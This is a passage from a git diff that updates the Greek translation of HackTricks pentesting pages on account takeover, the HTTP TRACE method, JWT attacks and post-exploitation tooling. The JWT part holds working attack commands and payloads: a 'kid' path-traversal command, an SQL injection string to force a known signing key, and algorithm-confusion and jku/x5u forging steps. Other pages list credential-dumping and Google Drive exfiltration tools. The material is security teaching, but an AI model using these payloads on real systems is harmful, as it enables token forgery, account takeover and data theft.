αυτή την επαλήθευση.\ +Ωστόσο, αν **περάσετε την επαλήθευση** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε άδειες** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +### Λειτουργία εγγραφής -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +Προσπαθήστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode). -### Takeover emails +### Κατάληψη email -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό. -### Access Internal servicedesk of companies using atlassian +### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών χρησιμοποιώντας atlassian {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### Μέθοδος TRACE -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +Οι προγραμματιστές μπορεί να ξεχάσουν να απενεργοποιήσουν διάφορες επιλογές αποσφαλμάτωσης στο περιβάλλον παραγωγής. Για παράδειγμα, η μέθοδος HTTP `TRACE` έχει σχεδιαστεί για διαγνωστικούς σκοπούς. Αν είναι ενεργοποιημένη, ο web server θα απαντήσει σε αιτήματα που χρησιμοποιούν τη μέθοδο `TRACE` επαναλαμβάνοντας στην απάντηση το ακριβές αίτημα που ελήφθη. Αυτή η συμπεριφορά είναι συχνά αβλαβής, αλλά περιστασιακά οδηγεί σε αποκάλυψη πληροφοριών, όπως το όνομα εσωτερικών κεφαλίδων αυθεντικοποίησης που μπορεί να προστεθούν σε αιτήματα από αντίστροφους μεσολαβητές.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md index 8bd354c0a..faf516036 100644 --- a/src/pentesting-dns.md +++ b/src/pentesting-dns.md @@ -1,9 +1,9 @@ {{#include ./banners/hacktricks-training.md}} -**Research more about attacks to DNS** +**Ερευνήστε περισσότερα σχετικά με επιθέσεις στο DNS** -**DNSSEC and DNSSEC3** +**DNSSEC και DNSSEC3** -**DNS in IPv6** +**DNS στο IPv6** {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 82502893d..e9891a00a 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -3,11 +3,11 @@ {{#include ../banners/hacktricks-training.md}} **Μέρος αυτού του άρθρου βασίζεται στην καταπληκτική ανάρτηση:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ -**Συγγραφέας του εξαιρετικού εργαλείου για pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) +**Συγγραφέας του σπουδαίου εργαλείου για pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) -### **Γρήγορες Νίκες** +### **Quick Wins** -Τρέξτε [**jwt_tool**](https://github.com/ticarpi/jwt_tool) με λειτουργία `All Tests!` και περιμένετε για πράσινες γραμμές +Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -17,7 +17,7 @@ python3 jwt_tool.py -M at \ ![](<../images/image (935).png>) -Τότε, μπορείτε να αναζητήσετε το αίτημα στον proxy σας ή να αποθηκεύσετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool: +Τότε, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` @@ -31,7 +31,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται: -- Ένα μήνυμα σφάλματος υποδηλώνει ότι η επαλήθευση είναι σε εξέλιξη; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν. +- Ένα μήνυμα σφάλματος υποδηλώνει συνεχιζόμενη επαλήθευση; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν. - Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση. - Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload. @@ -50,18 +50,18 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" [**Δείτε αυτή τη σελίδα.**](../generic-hacking/brute-force.md#jwt) -### Αλλαγή του αλγορίθμου σε None +### Αλλάξτε τον αλγόριθμο σε None Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής. Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτή την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None"). -### Αλλαγή του αλγορίθμου RS256(ασύμμετρο) σε HS256(συμμετρικό) (CVE-2016-5431/CVE-2016-10555) +### Αλλάξτε τον αλγόριθμο RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555) Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\ Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση. -Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του back end χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή. +Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του backend χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή. Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό: ```bash @@ -101,21 +101,21 @@ python3 jwt_tool.py JWT_HERE -X s Όταν η δήλωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου. -#### Διαδρομή Πλοήγησης με "kid" +#### Διαδρομή Traversal με "kid" Η δήλωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή `kid` ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, που είναι γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κωδικό για τη δημιουργία JWT. +Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κωδικό για τη δημιουργία JWT. #### SQL Injection μέσω "kid" -Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής JWT περιλαμβάνει: +Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής του JWT περιλαμβάνει: `non-existent-index' UNION SELECT 'ATTACKER';-- -` -Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού μυστικού κλειδιού, `ATTACKER`, για την υπογραφή JWT. +Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού μυστικού κλειδιού, `ATTACKER`, για την υπογραφή του JWT. #### OS Injection μέσω "kid" @@ -128,7 +128,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### jku jku σημαίνει **JWK Set URL**.\ -Εάν το token χρησιμοποιεί μια δήλωση “**jku**” **Header**, τότε **ελέγξτε τη διεύθυνση URL που παρέχεται**. Αυτή θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση. +Εάν το token χρησιμοποιεί μια δήλωση “**jku**” **Header**, τότε **ελέγξτε τη παρεχόμενη διεύθυνση URL**. Αυτό θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση. Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά. ```bash @@ -149,9 +149,9 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807 . Απαιτείται ασφάλεια μεταφοράς για τη μεταφορά των πιστοποιητικών. +X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών. -Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε ένα URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**. +Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**. Για να κατασκευάσετε ένα νέο token χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά: ```bash @@ -181,7 +181,7 @@ openssl x509 -in attacker.crt -text ![](<../images/image (624).png>) -Χρησιμοποιώντας το παρακάτω script nodejs είναι δυνατόν να παραχθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα: +Χρησιμοποιώντας το παρακάτω σενάριο nodejs είναι δυνατόν να παραχθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -228,13 +228,13 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); **Επιθέσεις Διασύνδεσης Υπηρεσιών** -Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/ηλεκτρονικό ταχυδρομείο. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό. +Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό. -- Ένα κρίσιμο ζήτημα μπορεί να υποδειχθεί από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια εφαρμογή τρίτου μέρους, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή. +- Ένα κρίσιμο ζήτημα μπορεί να υποδεικνύεται από την αποδοχή του token σας, επιτρέποντας δυνητικά την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια εφαρμογή τρίτου μέρους, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή. **Έλεγχος Λήξης Tokens** -Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι χρονικοί περιορισμοί δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool. +Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool. - Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει. diff --git a/src/post-exploitation.md b/src/post-exploitation.md index 531f82530..788bdae79 100644 --- a/src/post-exploitation.md +++ b/src/post-exploitation.md @@ -1,16 +1,16 @@ {{#include ./banners/hacktricks-training.md}} -## **Local l00t** +## **Τοπικό l00t** -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Αυτά τα σενάρια, εκτός από την αναζήτηση PE vectors, θα αναζητήσουν ευαίσθητες πληροφορίες μέσα στο σύστημα αρχείων. +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Το **LaZagne project** είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για **να ανακτήσει πολλές κωδικούς πρόσβασης** που είναι αποθηκευμένοι σε έναν τοπικό υπολογιστή. Κάθε λογισμικό αποθηκεύει τους κωδικούς πρόσβασης του χρησιμοποιώντας διαφορετικές τεχνικές (καθαρού κειμένου, APIs, προσαρμοσμένους αλγόριθμους, βάσεις δεδομένων, κ.λπ.). Αυτό το εργαλείο έχει αναπτυχθεί με σκοπό να βρει αυτούς τους κωδικούς πρόσβασης για το πιο κοινά χρησιμοποιούμενο λογισμικό. -## **External Services** +## **Εξωτερικές Υπηρεσίες** -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Αυτό το Module θα συνδεθεί με το API του Confluence χρησιμοποιώντας ένα access token, θα εξάγει σε PDF και θα κατεβάσει τα έγγραφα του Confluence στα οποία έχει πρόσβαση ο στόχος. +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Εργαλείο Red Team για την εξαγωγή αρχείων από το Google Drive ενός στόχου που έχετε πρόσβαση, μέσω του Google Drive API. Αυτό περιλαμβάνει όλα τα κοινά αρχεία, όλα τα αρχεία από κοινά drives και όλα τα αρχεία από drives τομέα στα οποία έχει πρόσβαση ο στόχος. +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Εργαλείο Red Team για την εξαγωγή του Google People Directory της στοχοθετημένης οργάνωσης που έχετε πρόσβαση, μέσω του Google People API. +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Αυτό είναι ένα εργαλείο που αναπτύχθηκε σε Python και χρησιμοποιεί τα εγγενή APIs του Slack για να εξάγει 'ενδιαφέρουσες' πληροφορίες από έναν χώρο εργασίας Slack δεδομένου ενός access token. +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Το Slackhound είναι ένα εργαλείο γραμμής εντολών για τις κόκκινες και μπλε ομάδες για να εκτελούν γρήγορα αναγνώριση ενός χώρου εργασίας/οργάνωσης Slack. Το Slackhound καθιστά τη συλλογή χρηστών, αρχείων, μηνυμάτων κ.λπ. μιας οργάνωσης γρήγορα αναζητήσιμη και μεγάλα αντικείμενα γράφονται σε CSV για offline ανασκόπηση. {{#include ./banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index c24ee8094..3a1ee85e6 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Stealing Sensitive Information Disclosure from a Web +# Κλοπή Ευαίσθητης Πληροφορίας από μια Ιστοσελίδα {{#include ./banners/hacktricks-training.md}} -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: +Αν σε κάποια στιγμή βρείτε μια **ιστοσελίδα που σας παρουσιάζει ευαίσθητες πληροφορίες με βάση τη συνεδρία σας**: Ίσως να αντικατοπτρίζει cookies, ή να εκτυπώνει λεπτομέρειες πιστωτικής κάρτας ή οποιαδήποτε άλλη ευαίσθητη πληροφορία, μπορείτε να προσπαθήσετε να την κλέψετε.\ +Εδώ σας παρουσιάζω τους κύριους τρόπους που μπορείτε να προσπαθήσετε να το πετύχετε: -- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +- [**CORS bypass**](pentesting-web/cors-bypass.md): Αν μπορείτε να παρακάμψετε τα headers CORS, θα είστε σε θέση να κλέψετε τις πληροφορίες εκτελώντας Ajax αίτημα για μια κακόβουλη σελίδα. +- [**XSS**](pentesting-web/xss-cross-site-scripting/): Αν βρείτε μια ευπάθεια XSS στη σελίδα, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να κλέψετε τις πληροφορίες. +- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Αν δεν μπορείτε να εισάγετε XSS tags, μπορεί ακόμα να είστε σε θέση να κλέψετε τις πληροφορίες χρησιμοποιώντας άλλες κανονικές HTML tags. +- [**Clickjaking**](pentesting-web/clickjacking.md): Αν δεν υπάρχει προστασία κατά αυτής της επίθεσης, μπορεί να είστε σε θέση να παραπλανήσετε τον χρήστη να σας στείλει τις ευαίσθητες πληροφορίες (ένα παράδειγμα [εδώ](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ./banners/hacktricks-training.md}}